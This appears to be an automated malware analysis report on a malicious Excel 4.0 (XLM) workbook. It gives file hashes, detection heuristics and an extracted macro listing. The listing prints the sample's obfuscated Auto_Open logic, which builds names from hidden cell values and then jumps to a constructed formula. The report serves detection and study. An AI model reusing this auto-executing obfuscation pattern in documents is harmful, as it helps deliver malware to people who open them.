Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 748e9b8f23cbed4c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:49 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: ce781e0c168f6c9442b5965150a2bfbc SHA-1: 682a1c3d6656350ba05e33916985f691e93cf468 SHA-256: 748e9b8f23cbed4c88aa9a9cdfdd2228fb742d3d5f0347d89cd69d398e76640f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6523 bytes
SHA-256: 6660d74f703c6db195ba8479e9efaa77345825a29b31ab8b3566dc051d46cc47
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zVS
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I168 
' 0018     20 LABEL : Cell Value, String Constant - cokmr len=0 
' 0018     23 LABEL : Cell Value, String Constant - DvnYwbHM len=0 
' 0018     27 LABEL : Cell Value, String Constant - fSsyyxAuaBua len=0 
' 0018     21 LABEL : Cell Value, String Constant - HjGYrf len=0 
' 0018     27 LABEL : Cell Value, String Constant - hnqtzfmZODeY len=0 
' 0018     22 LABEL : Cell Value, String Constant - kPIRfTI len=0 
' 0018     22 LABEL : Cell Value, String Constant - lggWIna len=0 
' 0018     22 LABEL : Cell Value, String Constant - LkYRHVg len=0 
' 0018     20 LABEL : Cell Value, String Constant - LMsoy len=0 
' 0018     24 LABEL : Cell Value, String Constant - mhmmyaihq len=0 
' 0018     21 LABEL : Cell Value, String Constant - oCSnOT len=0 
' 0018     24 LABEL : Cell Value, String Constant - OdblEOaOR len=0 
' 0018     24 LABEL : Cell Value, String Constant - oZkAmUFdj len=0 
' 0018     25 LABEL : Cell Value, String Constant - qITkYKOGFq len=0 
' 0018     24 LABEL : Cell Value, String Constant - TMzdAzIBw len=0 
' 0018     24 LABEL : Cell Value, String Constant - Voxnubyqg len=0 
' 0018     25 LABEL : Cell Value, String Constant - VPaaFEEvtw len=0 
' 0018     20 LABEL : Cell Value, String Constant - yizAo len=0 
' 0018     25 LABEL : Cell Value, String Constant - zeVYOrpfMa len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZoGVXtlM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zVS,I83,"SET.NAME("DvnYwbHM",0+VALUE("0"))",""
'  zVS,I85,"SET.NAME("OdblEOaOR",DvnYwbHM)",""
'  zVS,I87,"SET.NAME("oCSnOT",DvnYwbHM)",""
'  zVS,I91,"SET.NAME("TMzdAzIBw",COUNTA(lggWIna))",""
'  zVS,I93,"SET.NAME("mhmmyaihq",COUNTA(HjGYrf))",""
'  zVS,P94,"",-150.00000000000000000000
'  zVS,P95,"",301.00000000000000000000
'  zVS,P96,"",-450.00000000000000000000
'  zVS,P97,"",972.00000000000000000000
'  zVS,I98,[],""
'  zVS,P98,"",-912.00000000000000000000
'  zVS,P99,"",148.00000000000000000000
'  zVS,I102,"SET.NAME("VPaaFEEvtw","")",""
'  zVS,I105,"OdblEOaOR",""
'  zVS,I108,"SET.NAME("qITkYKOGFq",HLOOKUP("*",lggWIna,OdblEOaOR,FALSE))",""
'  zVS,I110,"zeVYOrpfMa",""
'  zVS,I113,"SET.NAME("yizAo",DvnYwbHM)",""
'  zVS,I117,[],""
'  zVS,I120,"yizAo",""
'  zVS,I122,"oZkAmUFdj",""
'  zVS,I126,"cokmr",""
'  zVS,I130,"ZoGVXtlM",""
'  zVS,I135,"SET.NAME("LMsoy",VALUE(HLOOKUP("*",HjGYrf,ZoGVXtlM,FALSE)))",""
'  zVS,I140,"Voxnubyqg",""
'  zVS,I143,"VPaaFEEvtw",""
'  zVS,I146,"oCSnOT",""
'  zVS,I149,NEXT(),""
'  zVS,I152,"fSsyyxAuaBua",""
'  zVS,I155,[],""
'  zVS,I159,"LkYRHVg",""
'  zVS,I161,NEXT(),""
'  zVS,I164,RETURN(),""
'  zVS,I189,"SET.NAME("kPIRfTI",I83)",""
'  zVS,I193,"lggWIna",""
'  zVS,I197,"SET.NAME("HjGYrf",R96C15)",""
'  zVS,I202,"SET.NAME("LkYRHVg",210)",""
'  zVS,I206,"SET.NAME("hnqtzfmZODeY",9)",""
'  zVS,I209,kPIRfTI(),""
'  zVS,I210,HALT(),""

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